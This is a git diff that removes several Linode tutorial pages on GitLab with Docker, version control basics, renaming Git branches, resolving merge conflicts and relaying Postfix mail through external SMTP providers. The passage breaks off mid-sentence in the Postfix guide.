gitlab-linode - sudo docker pull gitlab/gitlab-ee:latest - - sudo docker run --detach \ - --hostname gitlab.example.com \ - --publish 443:443 --publish 80:80 --publish 22:22 \ - --name gitlab-linode \ - --restart always \ - --volume /srv/gitlab/config:/etc/gitlab \ - --volume /srv/gitlab/logs:/var/log/gitlab \ - --volume /srv/gitlab/data:/var/opt/gitlab \ - --env GITLAB_OMNIBUS_CONFIG="external_url 'https://gitlab.example.com/';" \ - gitlab/gitlab-ee:latest - -Remember to provide your own hostname, name, and external URL. If you are using GitLab Community Edition, specify the `gitlab/gitlab-ce:latest` image instead. - -## Next Steps - -GitLab offers many features that are worth taking the time to understand and utilize. Here are a few next steps to take after you've completed this guide: - -- [Upload an SSH key](https://docs.gitlab.com/ee/gitlab-basics/create-your-ssh-keys.html) to your GitLab account so that you can transfer files over SSH. - -- Explore [CI/CD pipelines](https://docs.gitlab.com/ee/ci/) to streamline your development practices. - -- Using your `root` GitLab account, explore the [Admin settings](https://docs.gitlab.com/ee/administration/) to customize the functionality of GitLab. - -- Review Linode's Git documentation: - - - [Getting Start with Git](/cloud/guides/how-to-configure-git/) - - - [How to Install Git on Linux, Mac or Windows](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/) diff --git a/docs/guides/development/version-control/introduction-to-version-control/index.md b/docs/guides/development/version-control/introduction-to-version-control/index.md deleted file mode 100644 index 08165e23021..00000000000 --- a/docs/guides/development/version-control/introduction-to-version-control/index.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -slug: introduction-to-version-control -title: Introduction to Version Control -description: 'This guide will help you get started with Version Control, a special application that stores and manages each revision of the files that make up your codebase.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2013-09-18 -keywords: ["version control", "introduction to version control", "git", "introduction to git"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/intro-version-control/','/applications/development/introduction-to-version-control/','/development/version-control/introduction-to-version-control/'] -external_resources: - - '[Version Control Systems](/cloud/guides/development/version-control/)' -audiences: ["foundational"] -tags: ["version control system"] ---- - -In the [Hosting a Website](/cloud/guides/hosting-a-website-ubuntu-18-04/) guide, you learned how to host your website by installing and configuring a web server, database, and PHP. Now it's time to implement version control to protect your data and handle code updates smoothly. By the time you reach the end of this guide, you'll know how to use many of the version control methods and tools used by large organizations. - -## Getting Started - -A *version control* system is a special application that stores and manages every revision of your files and code. Many developers and organizations use version control to collaborate on source code, manage releases, and roll back to previous versions when bugs are discovered. - -![Version control overview.](1204-image_versioning_intro_1.jpg) - -Setting up a version control system is easy. The hard part is learning to use it, and then incorporate it in your daily workflow. This section introduces version control and explains how you can apply it to your own projects. We'll walk you through all of the steps, from evaluating the different version control systems to creating and using a repository. - -### Why Use Version Control? - -If you host a website or web-based application on your Linode, your users rely on your content to be available. You also need to keep your content updated and patched. However, changing your content can result in unforeseen bugs, which in turn can result in downtime. You need a way to protect your code and files through changes, to test updates before they go live, and to roll back to a working version if something goes wrong. - -Version control (also referred to as *revision control* or *source control*) is a file storage system that tracks every change made to a file and allows you to reverse or roll back those changes. For example, if you were editing a file on your personal computer and decided to delete a section of code, you could use version control to restore that section of code in the future - even weeks or months from now. - -![A basic form of version control.](1203-image_versioning_basics_1.jpg) - -Version control is also a great tool for individuals who need to work on the same files at the same time. With version control, they can *check out* the repository and then *commit* the changes when they're finished. If two individuals have modified the same file, the version control system can usually *merge* the changes, unless there's a *conflict*, in which case the user will need to manually combine the changes or favor one change over the other. - -Version control also makes it easy to track changes. You can see who committed code, and why. And if you start working on a new version of your website or application, you can *branch* a copy of your code to a separate area. (The branch can later be modified back into the *trunk*.) In short, version control is cheap insurance against human errors and unforeseeable disasters. You should be using it! - -### Evaluating Version Control Systems - -There are several types of open source version control systems available. Each system has its own advantages and disadvantages, so you should do some research before making your selection. Here are three of the most popular: - -- **Git:** Designed and developed by Linus Torvalds for Linux kernel development, Git provides strong support for non-linear and distributed development. It's probably the most popular distributed revision control and source code management system. See the [Git documentation website](http://git-scm.com/) for more information. You can also read our guide to [Git Source Control Management](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/). -- **Subversion:** When it emerged in 2000, Subversion operated like [CVS](http://cvs.nongnu.org/) and added some of the features that were missing from CVS. It was the undisputed king of version control systems until Git emerged in 2005, and it's still very popular. It's now maintained by the Apache Software Foundation. You can read our guide to [Managing Source Code Versions with Subversion](/cloud/guides/manage-source-code-versions-with-subversion/). -- **Mercurial:** This is another popular version control system that resembles Git. It doesn't enjoy quite as much popularity and community support as Git, but it's still a very capable and accessible system. You can read our guide [Managing Distributed Version Control with Mercurial](/cloud/guides/manage-distributed-version-control-with-mercurial/). - -We'll use Git as an example in this guide. But don't let our decision influence you - there are plenty of other version control systems out there. Feel free to investigate other options if Git, Subversion, or Mercurial don't meet your needs for automating server builds and managing configurations. - -### Example Version Control Workflow - -This is the process most developers use to create, stage, and commit files to a Git repository. It could be different than the process you're currently using, but it's important to learn Git's workflow and at least *try* using it, even if it seems a bit weird at first. Here's how it works: - -1. Create or modify files in your working directory. Once you're satisfied with your changes, use the `git add` command to move the modified files to the staging area. -2. Snapshots of the new and modified files are added to the staging area. Now you can preview the files. -3. When you're ready to commit the files to the repository, use the `git commit` command. The files in the staging area are permanently stored in your Git directory. - -An illustrated overview of this process is shown below. - -![An illustration of a sample version control system.](1205-image_versioning_workflow_1.jpg) - -For an added layer of protection, you can store your files in *both* a local and a remote Git repository. This is ideal for developers who modify files on their local desktop computers and then need to transfer them to a server. Such a setup is beyond the scope of this guide, but the official Git website provides [some excellent instructions on this topic](http://git-scm.com/book/ch2-5.html). - -## Installing Git - -You can install Git on your desktop computer, your Linode, or both. Getting started with Git is easy. All you have to do is install Git on your Linode, create a repository, and make an initial commit. Here's how: - -1. Open a terminal window and [log in to your Linode via SSH](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance). -2. Install Git on your Linode by entering the following commands, one by one: - - sudo apt-get update - sudo apt-get install git - -3. Set your username and email address by entering the following commands, one by one. Replace the example name and email address with your own. Git uses this information when you commit changes. - - git config --global user.name "Jane Smith" - git config --global user.email jsmith@example.com - -4. Now that Git is installed on your Linode, you'll need to create the repository. Go to your project's directory, and then enter the following command: - - git init - -5. The repository (a `.git` subdirectory) has been created, but nothing has been added to it yet. To start tracking all of the files in your project's directory, enter the following command: - - git add * - -6. The files are now being tracked, so you can make the initial commit. Enter the following command: - - git commit -m 'initial project version' - -Congratulations! You've successfully created a Git repository, specified which files should be tracked, and made an initial commit. Next let's look at a version control workflow to get a sense of how you could use Git in a real-life scenario. - -## Environments - -Now it's time to use what you've learned about version control and server builds to create different *environments* for your code. Environments are self-contained sandboxes that can be stored on different computers or the same system. You can create separate environments to store files in different stages of development and production. In this section, you'll learn how to modify files in a development environment, preview the changes in a staging environment, and then deploy all of the changes to a production environment. It's an effective way to make changes and test them *before* implementing them on a public-facing website. - -### Setting Up - -To get started, you'll need to decide which environments you want to create and then set them up. We recommend creating three different environments, which should be suitable for most individual developers and small organizations. Larger companies will likely want and need several other environments, depending on the established teams and processes. Ideally, the environments you create should correspond to your workflow. For example, if your organization has a dedicated quality control department, you'll probably want to create an additional environment specifically for that department. - -![An illustration of a sample deployment configuration.](1206-image_workflow_1.jpg) - -We recommend creating the following environments: - -- **Development:** Use this environment to create new files and modify existing ones. Nobody except you can see the changes, so you can do whatever you want in here. -- **Staging:** After you've finished making the changes, you'll move the files to this environment to preview the changes in a private area. The changes are still hidden from the public at this point, but you can test the website to make sure you didn't break anything. -- **Production:** If the changes look good, you can push the modified files to the production website. Now all of the changes are visible to the public. - -Put some thought into where you want the files for each environment to reside. For example, if you're a developer working alone, you may want to keep the development environment on your personal desktop computer and the staging and production environments on your Linode. You can also keep all of the environments on a single system. - -Ideally, you'll use a version control system to create and maintain separate repositories for each environment. That way, you'll be able to issue commands to push the files from one environment's repository to another. And since different environments will use different data, you should also create different databases for each environment. You can copy the data in the production database down to the staging and development environments. - -### Perfecting Your Workflow - -As with using a version control system, it takes some time and effort to get used to environments. For example, if you're used to modifying the files in your production environment — a risky practice that is definitely not recommended – it may be challenging to learn to use a version control system to deploy modified files from the development environment to your staging and production environments. Stick with it! The rewards are worth it. diff --git a/docs/guides/development/version-control/rename-git-branch/index.md b/docs/guides/development/version-control/rename-git-branch/index.md deleted file mode 100644 index 847475acd50..00000000000 --- a/docs/guides/development/version-control/rename-git-branch/index.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -slug: rename-git-branch -title: "How to Rename a Git Branch" -title_meta: "How to Rename a Branch in Git & Why You Should" -description: 'Need to know how to rename a Git branch? This guide explains what a Git branch is, when you should rename, and how to rename a branch in Git. ✓ Click here!' -authors: ["Martin Heller"] -contributors: ["Martin Heller"] -published: 2023-04-25 -keywords: ['rename git branch','git rename branch','rename branch git','git rename local branch','git change branch name','git branch rename','git rename remote branch','rename branch','how to rename a branch in git','change branch name git'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Career Karma: How to Rename a Git Branch](https://careerkarma.com/blog/git-rename-branch/ -)' -- '[Stack Overflow: How do I rename a local Git branch?](https://stackoverflow.com/questions/6591213/how-do-i-rename-a-local-git-branch -)' -- '[TheServerSide: How to rename and change a Git branch name locally & remotely](https://www.theserverside.com/blog/Coffee-Talk-Java-News-Stories-and-Opinions/rename-Git-branch-local-remote-GitHub-GitLab-BitBucket -)' ---- - -Git is a distributed version control system that views data as a series of snapshots. This is in contrast to delta-based version control systems, such as Concurrent Version System (CVS) and Subversion. These view their data as a set of files, and the changes made to each file over time. - -In Git, once a copy of the remote repository has been checked out, work can be done on the local copy. Changes can be committed whenever needed. When ready, simply *push* these changes to the remote repository. - -## What is a Git Branch? - -Work in a *branch* in order to isolate changes made locally from changes that other team members are making on their own machines. A Git branch is basically a label for a single or series of *commits*, or changes, that are related. A commit contains a snapshot of saved code along with a link to the previous commit. The default branch name in Git is **master**, although many repositories use the name **main** instead. - -Unlike CVS or Subversion, Git encourages the free creation of development branches. The idea is to work in them, and later merge them into project, version, QA, or production branches. While working in a local branch, there is little fear of incomplete and/or untested code winding up in a production build. - -## Why Rename a Git Branch? - -It’s common to name a new Git branch with your initials (or git handle) along a date, number, or description. Once code in the branch is complete, the project committers may require that a pull request (PR) be submitted. This starts the process of having the code reviewed and merged. - -However, committers need to know what the branch is intended to accomplish, so renaming the branch to summarize its purpose may be required. The pull request provides additional space to describe the code in more detail. Different projects may have different standards for branch names submitted in pull requests. The general best practice is for the name to be descriptive of the changes made. - -Another reason to rename a Git branch would be if there’s an error in the original name. For example, in some projects the name of a branch is supposed to contain the number of the bug or issue being fixed. If the bug number is *1291* and you accidentally named the branch *bugfix-1292*, then you'd want to rename the branch to *bugfix-1291*. - -## How to Rename a Branch in Git - -### Steps to Rename the Local and Remote Branches - -Branches in a local repository can be renamed from the command line using the `git` command. However, additional steps are needed to push the change into the remote origin repository. - -{{< note >}} -This guide assumes that the remote origin repository was set when checked out. It also assumes that your terminal is in the working directory of the local repository, so that the `git` command can find the `.git` subdirectory. -{{< /note >}} - -1. Use the following command to display a list of local branches: - - ```command - git branch - ``` - - The current branch is shown with an asterisk (*): - - ```output - main - * example-branch - ``` - -1. Now use the `-r` flag to display a list of remote-tracking branches: - - ```command - git branch -r - ``` - - ```output - origin/main - origin/example-branch - ``` - -1. Create a new branch using the following command syntax `git branch `: - - ```command - git branch bugfix-1292 - ``` - -To rename this branch to `bugfix-1291`, either switch into the branch or use the long form of the `git branch -m` command. - -1. Switch into the new branch using the following command syntax `git checkout `: - - ```command - git checkout bugfix-1292 - ``` - -1. Now rename the branch to `bugfix-1291`: - - ```command - git branch -m bugfix-1291 - ``` - -Alternatively, if not already in branch `bugfix-1292`, use the two-parameter rename command syntax `git branch -m `: - -```command -git branch -m bugfix-1292 bugfix-1291 -``` - -1. When done, push the renamed branch to the remote repository: - - ```command - git push origin -u bugfix-1291 - ``` - -1. If the branch was previously pushed to the remote repository, the old branch name still exists, so delete it: - - ```command - git push origin --delete bugfix-1292 - ``` - -## Conclusion - -Git branches help isolate the changes you make to a project from changes others are making. This avoids having incomplete code released to production. There are several reasons to rename a branch, but most have to do with a project’s naming conventions and chosen best practices. You now know how to rename a local branch. This includes pushing a renamed branch to, and deleting an old branch name from a remote repository. \ No newline at end of file diff --git a/docs/guides/development/version-control/resolving-git-merge-conflicts/index.md b/docs/guides/development/version-control/resolving-git-merge-conflicts/index.md deleted file mode 100644 index 9af09366984..00000000000 --- a/docs/guides/development/version-control/resolving-git-merge-conflicts/index.md +++ /dev/null @@ -1,281 +0,0 @@ ---- -slug: resolving-git-merge-conflicts -title: "Resolve Merge Conflicts in Git" -title_meta: "How to Resolve Merge Conflicts in Git" -description: 'This guide discusses Git merge conflicts, the reasons why they occur, and how to resolve merge conflicts.' -authors: ["Stephen Savitzky"] -contributors: ["Stephen Savitzky"] -published: 2021-10-22 -keywords: ['how to resolve merge conflicts in git', 'git fix merge conflict', 'git continue merge after resolving conflicts'] -tags: ['version control system'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -## What Causes Merge Conflicts? - -A *merge conflict* occurs when two branches, in the process of being merged, include overlapping changes in a file. Git refers to this type of conflict as a *content conflict*. Another cause for a merge conflict is when one of the branches being merged modifies a file or directory and another branch deletes it. This type of merge conflict is referred to as a *delete/modify* conflict. A delete/modify merge conflict often occurs when a file is moved or renamed. Git has no way to distinguish between moving and renaming a file and from deleting a file. If a file is modified in one branch and moved in another branch, Git has no way to propagate the changes from the original file to the moved copy of the file. - -{{< note >}} -If a file is deleted in one branch and isn’t modified in the other, the file is deleted during the merge. Since the file has been moved rather than deleted, this is typically the behavior you want. -{{< /note >}} - -## Avoiding Merge Conflicts - -There are several best practices you can adopt to help you avoid merge conflicts when collaborating on a Git version-controlled project: - -- Avoid having two people work on the same set of files at the same time. Although it's not always possible, this is the best way to prevent merge conflicts from happening. - -- Modularize your project by splitting it into several small files instead of a few large ones. - -- Keep your feature branches up-to-date by [rebasing](/cloud/guides/git-rebase-command/) them frequently. - -- Avoid making sweeping changes to your code base. For example, avoid changing your code-formatting conventions or renaming a widely-used class. If you have to do this, let everyone on the project know so that they can merge these changes into their local working branches. - -- Keep your commits and pull requests focused. Resist the temptation to add unrelated changes to a single pull request. - -## Git: Fix Your Merge Conflict - -There are several methods you can use to resolve a merge conflict. Depending on the nature of your merge conflict, you may choose one of the options in the sections below to fix a merge conflict. - -### Viewing Details About a Merge Conflict - -When encountering a merge conflict, the first step is to find out where the merge conflict occurred. There are several handy commands that can help you view more information related to your merge conflict. - -After merging with an upstream branch using the `git merge ` command, the output for a typical merge conflict resembles the following: - -{{< output >}} -$ git merge main -Auto-merging sample.txt -CONFLICT (content): Merge conflict in sample.txt -Automatic merge failed; fix conflicts and then commit the result. -{{}} - -Issuing the `git diff` command after a merge shows you all of the conflicts: - -{{< output >}} -diff --cc sample.txt -index 9c2d62c,09e43a4..0000000 ---- a/sample.txt -+++ b/sample.txt -@@@ -1,5 -1,5 +1,14 @@@ - 1. These lines will be the same in both branches -- they might be unchanged - or cleanly resolved. -++<<<<<<< HEAD - +2. this is line 2 in the new branch - +4. this is line 4 in the new branch -++======= -+ 2. this line was edited in main. There was a line 3, but it's been -+ 4. this line was also edited in main. deleted in both branches -++>>>>>>> main - 5. This line will stay the same. - -{{}} - -To list the commits in each of the merged branches use the ` git log --oneline --merge`command. The output displays each commit with its corresponding branch: - -{{< output >}} -4329d9b (HEAD -> other) changes to sample.txt in other branch -83471ad (main) changes to sample.txt in main -{{}} - -Sometimes it helps to see what was in the file before the branches split. you can do that by setting the `merge.conflictstyle` configuration variable to `diff3`. This displays all three versions of the conflicted file. The additional section, preceded by `|||||||` displays the file as it was before changes were made on either branch. In the output below, you can see that line 3 was deleted in both branches. - - git config merge.conflictstyle diff3 - git merge main - -{{< output >}} -Auto-merging sample.txt -CONFLICT (content): Merge conflict in sample.txt -Automatic merge failed; fix conflicts and then commit the result. -$ git diff -diff --cc sample.txt -index 9c2d62c,09e43a4..0000000 ---- a/sample.txt -+++ b/sample.txt -@@@ -1,5 -1,5 +1,14 @@@ - 1. These lines will be the same in both branches -- they might be unchanged - or cleanly resolved. -++<<<<<<< HEAD - +2. this is line 2 in the new branch - +4. this is line 4 in the new branch -++||||||| d3cbf14 -++2. this line will be modified in both branches -++3. this will get deleted. -++4. this line will also be modified in both branches -++======= -+ 2. this line was edited in main. -+ 4. this line was also edited in main. -++>>>>>>> main -{{}} - -### Git: Abort a Merge - -Sometimes when resolving a merge conflict, you might inadvertently create new and more complicated issues. When this is the case, you can start over by aborting the merge with the following command: - - git merge --abort - -This command brings your branch back to where it was before you started the merge. After aborting your merge, you can prevent conflicts by making additional changes to your files before you restart the merge. For example, rename a file in your branch to match its counterpart in the upstream branch. This prevents a delete/modify conflict. - -{{< note >}} -Remember to commit or [stash](https://git-scm.com/docs/git-stash) any uncommitted changes in your working branch prior to starting a merge. Otherwise, `git merge --abort` may have trouble reconstructing the pre-merge state. -{{< /note >}} - -## Git Reset Hard Head: Resetting After Making a Mistake - -When resolving a merge conflict, you might accidentally merge an unwanted change. To fix this, you can get back to the state before the merge with the following command: - - git reset --hard HEAD^ -{{< note >}} -Remember to commit or stash any uncommitted changes in your working directory, since `git reset --hard` wipes away any local changes that have not been committed. -{{< /note >}} - -## Completing a Merge After Fixing a Merge Conflict - -- When you’re done resolving your conflicts, use `git add` to mark the files you’ve resolved. - -- Then, use `git merge --continue` to complete the process. Git tells you if there are still unresolved conflicts. - - {{< note respectIndent=false >}} -You can also use `git commit`. This method doesn't check for unresolved conflicts, so it’s not as safe as `git merge --continue`. - {{< /note >}} - -- If you resolve conflicts on the command line, instead of using a merge tool, it’s a good idea to use the [Grep command](/cloud/guides/how-to-use-grep/) to search for conflict markers that you may have missed. - -- Git enters your system's default editor so that you can edit the commit message (unless you use the `--no-edit` option). In your commit message, add some information about what caused the conflict and how you resolved it. - -## Resolving delete/modify Conflicts - -The way you go about resolving a delete/modify merge conflict depends on the branch in which the file was modified. If the file was modified in your current working branch, there is one strategy to follow. However, if the file was modified on the branch you’re merging with, then a different approach should be followed. - -This section uses the following scenario as an example: - -You’re working on a development branch, and you want to merge with the main branch. The main branch is an upstream collaboration branch. - -### Add or Remove the Modified File or Directory - -If a file or directory was *deleted* rather than moved, you can choose to keep the modified version of the file or discard it. If you keep the file, ensure you provide any necessary edits to it. - -When running into a delete/modify merge conflict, your output displays the following: - -{{< output >}} -CONFLICT (modify/delete): oldfile deleted in main and modified in HEAD. Version HEAD of oldfile left in tree. -Automatic merge failed; fix conflicts and then commit the result. -{{}} - -To keep the `oldfile` use the `git add oldfile` command. - -To remove the `oldfile`, use the `git rm oldfile` command. - -Follow either command with `git merge --continue` or `git commit` to finish up. - -### Renamed File or Directory in Working Branch - -If a file or directory was renamed in your working branch and modified in the upstream branch, Git generates a merge conflict. For example, your working branch is named `new` and you rename a file from `oldfile` to `newfile`. The main branch also contains the file `oldfile` and its been modified in the main branch. When attempting to merge the main branch into the `new` branch, the following message appears: - -{{< output >}} -CONFLICT (modify/delete): oldfile deleted in HEAD and modified in main. Version main of oldfile left in tree. -Automatic merge failed; fix conflicts and then commit the result. -{{}} - -If you use the `ls` command to view the contents of the directory that contains `newfile`, you see copies of both the edited `oldfile` and the renamed `newfile`: - -{{< output >}} -newfile oldfile sample.txt -{{}} - -This conflict can be resolved by replacing `oldfile` with `newfile`. However, this approach should only be used if `newfile`, in your working branch, has not been modified. To replace `oldfile` with `newfile` use the following commands: - -Copy `oldfile` to `newfile`: - - cp oldfile newfile - -Remove `oldifle`: - - git rm oldfile - -Commit the new changes and complete the merge using the following command: - - git commit -a --no-edit - -{{< output >}} -[new b3b2fd2] Merge branch 'main' into new -{{}} -{{< note >}} -The `-a --no-edit` option allows you to preserve the commit message used in the commit prior to the merge conflict, while incorporating the changes you just made. -{{< /note >}} - -### Renamed File or Directory in Upstream Branch - -If a file or directory was renamed and modified in the upstream branch, and modified in your working branch, Git generates a merge conflict. For example, your working branch is named `old` and you modified a file named `oldfile`. The main branch (upstream branch), has renamed the `oldfile` to `newfile` and also modified `newfile`. When attempting to merge the main branch into the `old` branch, the following message appears: - - git merge main - -{{< output >}} -CONFLICT (modify/delete): oldfile deleted in main and modified in HEAD. Version HEAD of oldfile left in tree. -Automatic merge failed; fix conflicts and then commit the result. -{{}} - -The simplest way to fix this issue is to back out of the merge. Once you've backed out of the merge, you rename the file in the working branch to the upstream branch, and then reattempt the merge: - -Abort the attempted merge: - - git merge abort - -Rename `oldfile` to the name used in the main branch (upstream branch): - - git mv oldfile newfile - -Commit the file name change: - - git commit -m "Rename file to match main" - -{{< output >}} -[modify-oldfile 3e427d6] Rename file to match main - 1 file changed, 0 insertions(+), 0 deletions(-) - rename oldfile => newfile (100%) -{{}} - -Reattempt the merge of the main branch into your working branch: - - git merge main - -The chapter on [Advanced Merging](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging) in the [Pro Git](https://git-scm.com/book/en/v2) book describes other conflict-resolution techniques. - -## Use a Git GUI to Fix a Merge Conflict - -### Visual Studio Code (VS Code) - -[Visual Studio Code (VS Code)](/cloud/marketplace-docs/guides/vscode/) is a full-featured code editor. VS Code provides a good set of conflict-resolution tools that can be invoked from the command line. You must configure Git to use VS Code as a merge tool. Use the following Git commands to set this up: - - git config --global merge.tool code - git config --global mergetool.code.cmd 'code --wait $MERGED' - -The first command configures Git to use VS Code as your default merge tool. The second command tells Git how to run VS Code, since Git is not aware of VS Code unless configured to use it. - -The `--wait` option is specific to VS Code, and tells it to wait until you explicitly exit rather than moving to the background. - -VS Code gives you three different ways of viewing a merge conflict: - -![An example Git merge conflict in the VS Code text editor.](vscode-file-view-wide.png) - -The first shows Git's conflict markers just as they are in the file. It's exactly what you'd see if you ran `git diff` or looked at the file in any other text editor. - -![An example Git merge conflict with a combined diff in the VS Code text editor.](vscode-inline-view-wide.png) - -The second view shows a *combined diff*, which is what you see if you pass the `--cc` option to `git diff`. This view is helpful if you are using a narrow screen width. - -![An example Git merge conflict with a side-by-side diff view in the VS Code text editor.](vscode-diff-view-wide.png) - -The third view is a side-by-side diff, which is what most dedicated merge tools show you by default. - -### GitHub Desktop - -[GitHub Desktop](https://desktop.github.com/) is a GUI program that works with Git repositories. It is especially useful if you are working with a repository that is hosted on GitHub. This tool makes no attempt at being a merge tool or a text editor. - -If you encounter a merge conflict, GitHub Desktop pops up a dialog box that tells you how many conflicts you have: - -![A GitHub Desktop dialog window displaying the number of merge conflicts.](ghdesk-merge-dialog.png) - -If you go ahead with the merge at that point, GitHub Desktop lists the conflicted files along with options to commit the merge or abort the merge. You can also pick an alternative tool from a presented menu if you don't want to use the default text editor. - -![A GitHub Desktop dialog window displaying the number of merge conflicts.](ghdesk-resolve-dialog.png) \ No newline at end of file diff --git a/docs/guides/email/email-services/postfix-smtp-debian7/index.md b/docs/guides/email/email-services/postfix-smtp-debian7/index.md deleted file mode 100644 index fbc53347be8..00000000000 --- a/docs/guides/email/email-services/postfix-smtp-debian7/index.md +++ /dev/null @@ -1,237 +0,0 @@ ---- -slug: postfix-smtp-debian7 -title: "Configure Postfix to Send Email Using External SMTP Servers" -description: "Learn how to configure Postfix to send email using external SMTP servers like Mandrill, and SendGrid. ✓ Click here to learn more!" -authors: ["Santiago Ti"] -contributors: ["Santiago Ti"] -published: 2014-05-30 -modified: 2019-01-24 -keywords: ["Postfix", "Debian", "SMTP", "Email", "Mail"] -tags: ["debian","postfix","email"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/email/email-services/postfix-smtp-debian7/','/email/postfix/postfix-smtp-debian7/'] ---- - -{{< note >}} -This guide was originally written for Debian 7. It has since been tested to work with Debian 9. -{{< /note >}} - -You may want to configure Postfix to use an external SMTP provider like Mandrill, and SendGrid so you no longer have to build, maintain, and scale your own SMTP relay server. Another reason is to avoid getting your mail flagged as spam if your current server's IP has been added to a spam list. This guide shows you how to configure Postfix to use an external SMTP provider and also shows specific examples for Mandrill, and SendGrid. However, you can apply the steps in this guide to configure Postfix to use any external SMTP provider. - -![Configure Postfix to Send Mail Using an External SMTP Server](external_smtp_tg.png "Configure Postfix to Send Mail Using an External SMTP Server") - -{{% content "email-warning-shortguide" %}} - -## What is Postfix Used For? - -Postfix allows you to route and deliver emails and uses the [Simple Mail Transfer Protocol](https://tools.ietf.org/html/rfc5321) (SMTP). - -## What is the Postfix Configuration Process? - -The majority of the Postfix configuration process is completed in the `main.cf` and `master.cf` files that are located in the `/etc/postfix/` directory. The `/etc/postfix` directory is available once you have installed Postfix on your Linux system. - -At a high-level Postfix configuration involves the following steps: - -1. Gather prerequisites, which include a fully qualified domain name(FQDN), updating your system, and installing the `libsasl2-module` package -1. Install Postfix on your system -1. Configure SMTP usernames and passwords -1. Secure your password and hash database files -1. Configure the relay server -1. Test your Postfix configuration -1. Set up Postfix with Mandrill, and SendGrid - -## Postfix Configuration -{{< note >}} -If you’re using Gmail or Google Workspace, see our [Configure Postfix to Send Mail Using Gmail and Google Workspace on Debian or Ubuntu](/cloud/guides/configure-postfix-to-send-mail-using-gmail-and-google-workspace-on-debian-or-ubuntu/) guide instead. -{{< /note >}} - -### Gathering Prerequisites - -In this section, you complete all prerequisite steps to configure Postfix to use an external SMTP server. -Prerequisites to configure Postfix using an external SMTP server are: - -1. Ensure you have fully qualified domain name (FQDN). The Fully Qualified Domain Name (FQDN) is the absolute domain name, including subdomains, top-level domain, and root zone, that will direct queries under the Domain Name System (DNS) to an exact location—in this context, to your Linode. For a detailed explanation, see [What is FQDN For? Linode Community Q&A](https://www.linode.com/community/questions/19375/how-should-i-configure-my-hostname-and-fqdn#answer-71105). - -1. Ensure your system is up-to-date: - - apt-get update && apt-get upgrade - -1. Install the `libsasl2-modules` package: - - sudo apt-get install libsasl2-modules - -Your system is now ready to install Postfix. - -### Installing Postfix - -1. Install Postfix by running the following command: - - sudo apt-get install postfix - -1. You receive a prompt asking for your **General type of mail configuration**. Select **Internet Site** from the options. - -![Postfix configuration, General type of mail configuration options](1736-postfixsmtp1.png) - -1. Enter your fully qualified domain name when asked for your **System mail name**. An example FQDN is **fqdn.example.com**. - -![Postfix configuration, System mail name prompt](1739-postfixsmtp2.png) - -1. Once the installation is complete, open the `/etc/postfix/main.cf` file using your preferred text editor. Edit the file to add your Linode's FQDN to the **myhostname** configuration, if it is not already configured, and save your changes. - - {{< file "/etc/postfix/main.cf" >}} -myhostname = fqdn.example.com -{{< /file >}} - -### Configuring SMTP Usernames and Passwords - -Usernames and passwords are stored in the `/etc/postfix/sasl_passwd` file. In this section, you add your external mail provider credentials to the `sasl_passwd` Postfix configuration file. - -{{< note >}} -The examples in this section provide the general steps to configure Postfix to use an external SMTP provider. If you want to use Mandrill or SendGrid as your SMTP provider, you can refer to the examples in the [Postfix Configuration with Mandrill, and SendGrid](/cloud/guides/postfix-smtp-debian7/#postfix-configuration-with-mandrill-and-sendgrid) section of this guide. -{{< /note >}} - -First, open or create the `/etc/postfix/sasl_passwd` file: - -1. Using a text editor of your choice, open the `/etc/postfix/sasl_passwd` file. If it does not yet exist, create it. - - -1. Add the example line to your `sasl_passwd` file and replace `username` and `password` with your SMTP provider credentials. - - {{< file "/etc/postfix/sasl_passwd" >}} - - [mail.isp.example] username:password - -{{}} - -1. Create a Hash database file for Postfix using the `postmap` command. This command creates a new file named `sasl_passwd.db` in the `/etc/postfix/` directory. - - sudo postmap /etc/postfix/sasl_passwd - -### Secure your Password and Hash DB files - -In the previous section you added plain text credentials to the `/etc/postfix/sasl_passwd` and `/etc/postfix/sasl_passwd.db` files. For this reason, you have to change the each file's permissions to restrict access to all users other than the `root` user. - -1. Run the following command to change your each file's permissions: - - sudo chown root:root /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db - sudo chmod 0600 /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db - -### Configuring the Relay Server - -You are now ready to provide the configurations needed by Postfix to use the external SMTP server. This configuration tells Postfix to deliver mail indirectly via a relay host, which in this case, is an external SMTP server. - -{{< note >}} -Refer to the [Postfix Configuration with Mandrill, and SendGrid](/cloud/guides/postfix-smtp-debian7/#postfix-configuration-with-mandrill-and-sendgrid) section of this guide for specific relay host configurations for Mandrill, and SendGrid. -{{< /note >}} - -1. Using a text editor, open the `/etc/postfix/main.cf` file. - -1. Update the `relayhost` configuration with your external SMTP relay host. Replace `mail.isp.example` with your provider's information. If you specified a non-default TCP port in the `sasl_passwd` file, then use the same port when configuring the relay host. The example uses `587` as its port number. - - {{< file "/etc/postfix/main.cf" >}} -# specify SMTP relay host -relayhost = [mail.isp.example]:587 - -{{< /file >}} - - -1. Add the end of the file, add the example file's parameters to enable authentication and save the changes you made to your `main.cf` file. - - {{< file "/etc/postfix/main.cf" >}} - -# enable SASL authentication -smtp_sasl_auth_enable = yes -# disallow methods that allow anonymous authentication. -smtp_sasl_security_options = noanonymous -# where to find sasl_passwd -smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd -# Enable STARTTLS encryption -smtp_use_tls = yes -# where to find CA certificates -smtp_tls_CAfile = /etc/ssl/certs/ca-certificates.crt - -{{< /file >}} - -1. Restart Postfix to enable your configurations: - - sudo service postfix restart - -## Testing Your Postfix Configuration - -You can now test your Postfix Configurations by using your system's `mail` utility. - -1. Install the `mailutils` package to use the `mail` utility. - - sudo apt-get install mailutils - -1. Compose an email to verify that your system is able to successfully send it. Replace the email address with your own and your intended recipient's email address. - - echo "body of your email" | mail -s "This is a subject" -a "From:you@example.com" recipient@elsewhere.com - - {{< note respectIndent=false >}} - -You can 